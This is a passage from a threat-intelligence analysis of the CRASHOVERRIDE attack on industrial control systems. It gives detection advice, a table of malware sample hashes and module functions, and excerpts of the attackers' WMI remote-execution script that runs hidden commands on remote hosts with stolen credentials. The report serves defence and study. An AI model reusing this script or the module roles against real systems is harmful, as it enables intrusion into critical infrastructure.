environment is incredibly valuable. Typical binary defence 
focuses on anti-virus – yet anti-virus is largely designed to 
capture items that corrupt or subvert local or remote Windows 
processes and not programs designed to deliver ICS impacts. In 
the case of CRASHOVERRIDE, the only aspects that would fall 
under typical anti-virus detection are the Mimikatz variant and 
the ‘primary’ backdoor (which prior analysis indicates is not 
even a necessary component for the attack). Instead, identifying 
authentication information within the network, binary 
movement between IT and ICS and within ICS, and system 
alterations on critical hosts controlling ICS equipment, all 
would serve to detect – and form the foundation for mitigating 
– a CRASHOVERRIDE-type attack. Essentially, defenders need 
to tune detections and response from IT-centric approaches to 
ICS-specific capabilities, including capturing malicious 
behaviours – such as the rampant authentication and remote 
process activity exhibited by ELECTRUM – indicative of a 
‘malware-less’ compromise event.

Unfortunately, the state of the modern ICS environment 
typically lacks the level of visibility – definitely on host, but 
also to a certain extent in network – that would allow such 
actions to be identified and tracked. Only by increasing 
visibility then orienting detection and monitoring toward 
adversary behaviours will ICS defenders be able to protect 
effectively against the next CRASHOVERRIDE attack. Given 
the peculiars of ICS intrusions – from ‘living off the land’ for 
standard Windows system compromise to bespoke ICS malware 
for ultimate effects – traditional, Windows-centric security 
solutions may not be the answer. Instead, ICS owners and 
operators will need to embrace the challenge provided by 
groups such as ELECTRUM and learn their environment, 
increase visibility, and determine at what point the merely 
‘anomalous’ becomes malicious.

3 Although used elsewhere, a term best explained in [17].

In this fashion, defenders can defend not merely against a 
CRASHOVERRIDE variant, but against entire classes of 
malicious activity. By focusing on necessary adversary actions 
– such as credential capture and binary movement for final 
effects – defenders can create necessary traffic and detection 
‘choke points’ to monitor for and respond to such required 
activities. While this will not be easy, such a robust approach 
represents the only sure means of securing the ICS environment 
moving forward.
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APPENDIX A – LIST OF SAMPLE HASHES
The following list includes recovered sample hashes from CRASHOVERRIDE, including binaries and scripts.

Name SHA256 Function

101_copy.bat a95f6d43e62a5cfb4e95667df9b04d07b60d103b36f4cff12c07e7c2dab88a98 Runs ufn.vbs and sqlc.vbs, copies 
101 payloads to specified hosts

104.bat 07d5d5ba8cd17efab2ebf3b76cb6b61825249518c11c3910ceb6473e0efb3deb Runs sqlc.vbs, configures 
ImapiService

104.dll 7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad 104 effects module

104_copy.bat 693c631f1673bd61135080e9b4759342c5835d20231f6f4f7b55117fda111e4f Runs ufn.vbs and sqlc.vbs, copies 
104 payloads to specified hosts

104_copy.bat a95f6d43e62a5cfb4e95667df9b04d07b60d103b36f4cff12c07e7c2dab88a98 Runs ufn.vbs and sqlc.vbs, copies 
104 payloads to specified hosts

61850.dll 4e7d2b269088c1575a31668d86de95fd3dde6caa88051d7ec110f7f150058789 61850 effects module - DLL variant

61850.exe 55e7471ad841bd8a110818760ea89af3bb456493f0798a54ce3b8e7b790afd0a 61850 effects module - EXE variant

alg.exe 3e3ab9674142dec46ce389e9e759b6484e847f5c1e1fc682fc638fc837c13571 Primary backdoor

avtask.exe 37d54e3d5e8b838f366b9c202f75fa264611a12444e62ae759c31a0d041aa6e4 Primary backdoor

avtask.exe 7e96849c69263e0125419a3fbb2547050329b7189db599d8136650171818
bd81

Primary backdoor

avtask2.exe 41658472df4074a0a2a2298ba3f17e0b17112fed99e495bf34dac138d6f7b247 Primary backdoor

c.exe 502402f8568359645d50f1d6e58ab927f05702f6220b60767897b3912b761b99 Primary backdoor

csvd.exe f6e62b1d75d91171ab30e8985189ea5aacd947c887222fdb58acbc2db2542f64 Backdoor NOTEPAD variant

csvf.exe 767b078645baef34cfb366a41df8fe65bcce597c2bc9c08cae063d287f7a8011 Backdoor NOTEPAD variant

csvnpr.exe 9860c3d30233c7f1c6631caefa2b6632a01b2b729909bc0dd894c5b418b4eb1b Backdoor NOTEPAD variant

defragsvc.exe 21c1fdd6cfd8ec3ffe3e922f944424b543643dbdab99fa731556f8805b0d5561 Launcher module

dos.exe 4587ccfecc9a1ff5c5538a3475409ca1687d304bcde252077a119c436296857b Siemens SIPROTEC DoS module

ep.exe 3ca252fb405c83cceea25041c3f1c01bead8f1afe0144f8cdee795bb868a903d Primary backdoor

haslo.dat 018eb62e174efdcdb3af011d34b0bf2284ed1a803718fba6edffe5bc0b446b81 Destructive module

haslo.exe ad23c7930dae02de1ea3c6836091b5fb3c62a89bf2bcfb83b4b39ede15904910 Destructive module

ilaunchr.exe c57e390d4c1ba116a28fe618d407395d261f25c2901d1fe68f420fb47a26f444 Primary backdoor

[17] Living Off the Land and Fileless Attack Techniques. 
Symantec. https://www.symantec.com/content/dam/
symantec/docs/security-center/white-papers/istr-living-
off-the-land-and-fileless-attack-techniques-en.pdf.
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Name SHA256 Function

imapi.dll 12ba9887d3007b0a0713d9f1973e1176bd33eccb017b5a7dba166c7c172151e9 Hybrid 61850 and OPC effects 
module

imapi.exe 56ae7705ffcd56e74e5aecb0e43f17d510c2eaaddc7356f991c0db1daf32a641 Hybrid 61850 and OPC effects 
module launcher

ImapiService.
exe

7cc9ac6383437dd96161b93b017500a22a2c8d05f58778b9b9fce8ea73304546 Launcher module

ld.exe 13a71a050d20aaad43ef78d771f22d636475b2ef8e4918731ff64d162287c480 UPX-packed credential dumper using 
extensive Mimikatz source code

mm.exe 286c63d24fe9259bb6a758ce86e48c7f9094304ce4a32054641923a8cb4eab3c UPX-packed Mimikatz

npadpr.exe 376c0608820598f2f20666a82e1d801fce347233e2051010fbcf43c8278220dc Backdoor NOTEPAD variant

opc.exe 156bd34d713d0c8419a5da040b3c2dd48c4c6b00d8a47698e412db16b1ffac0f Stand-alone module

pa.vbs fb5bbea0f1acfcf123979e4c615d54474c4f079276ee3828f5b8613bb3bbdf26 System recon

rm.vbs fb5bbea0f1acfcf123979e4c615d54474c4f079276ee3828f5b8613bb3bbdf26 System recon

swprv.exe dcb7d2fc46f61d5522e005ac66f3f0661e2d5284d5a3f8b3a0c8b4050d8397a7 Variant of primary backdoor

tiering.exe 9a12493af09b0711edb0d6797fb195c64f3ca65437dd6274b171ebd22558172c Backdoor NOTEPAD variant

tiersvc.exe ecaf150e087ddff0ec6463c92f7f6cca23cc4fd30fe34c10b3cb7c2a6d135c77 Primary backdoor

ws.exe 6d707e647427f1ff4a7a9420188a8831f433ad8c5325dc8b8cc6fc5e7f1f6f47 Primary backdoor

APPENDIX B – REMOTE EXECUTION AND SURVEY SCRIPT
As the script is lengthy, the below are selections from the file ‘remote.vbs’ to show the most relevant portions of the script:

On Error Resume Next

Set WshShell = WScript.CreateObject("WScript.Shell")
Set WshNetwork = WScript.CreateObject("WScript.Network")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")

Dim objSWbemLocator
Dim objSWbemServices

<BREAK>

Function RunRemoteProcess(Command)
 Set objStartup = objSWbemServices.Get("Win32_ProcessStartup")
 Set objConfig = objStartup.SpawnInstance_
 objConfig.ShowWindow = 0
    Set objProcess = objSWbemServices.Get("Win32_Process")
 strCmd = "cmd.exe /c " & Command & " >> " & GetReportFile()
    intReturn = objProcess.Create(strCmd, Null, objConfig, intProcessID)
 If intReturn <> 0 Then
    Wscript.Echo "Process could not be created." & _
        vbNewLine & "Command line: " & strCmd & _
        vbNewLine & "Return value: " & intReturn
  RunRemoteProcess = 2
  Exit Function
 End If
 Set WaitProcesses = objSWbemServices.ExecNotificationQuery("Select * From __InstanceDeletionEvent Within 1 
Where TargetInstance ISA 'Win32_Process'")
 Do Until i = 1
  Set objLatestProcess = WaitProcesses.NextEvent
  If objLatestProcess.TargetInstance.ProcessID = intProcessID Then
   i = 1
  End If
 Loop
 RunRemoteProcess = 0
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End Function

<BREAK>

Function ConnectToServer(RemoteMachine, Username, Password)
 Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
    Set objSWbemServices = objSWbemLocator.ConnectServer(RemoteMachine, "root\CIMV2", Username, Password)
    If Err.Number <> 0 Then
        Wscript.StdOut.Write "Error: " & Err.Description
  ConnectToServer = 1
  Exit Function
    End If
 ConnectToServer = 0
 Set colItems = objSWbemServices.ExecQuery("Select * From Win32_OperatingSystem")
 For Each objItem in colItems
  Header = vbNullString
  Header = Header & objItem.Caption & objItem.CSDVersion & vbCrLF
  Header = Header &  "CodeSet: " & objItem.CodeSet & vbCrLF
 Next
 Wscript.StdOut.Write Header
End Function


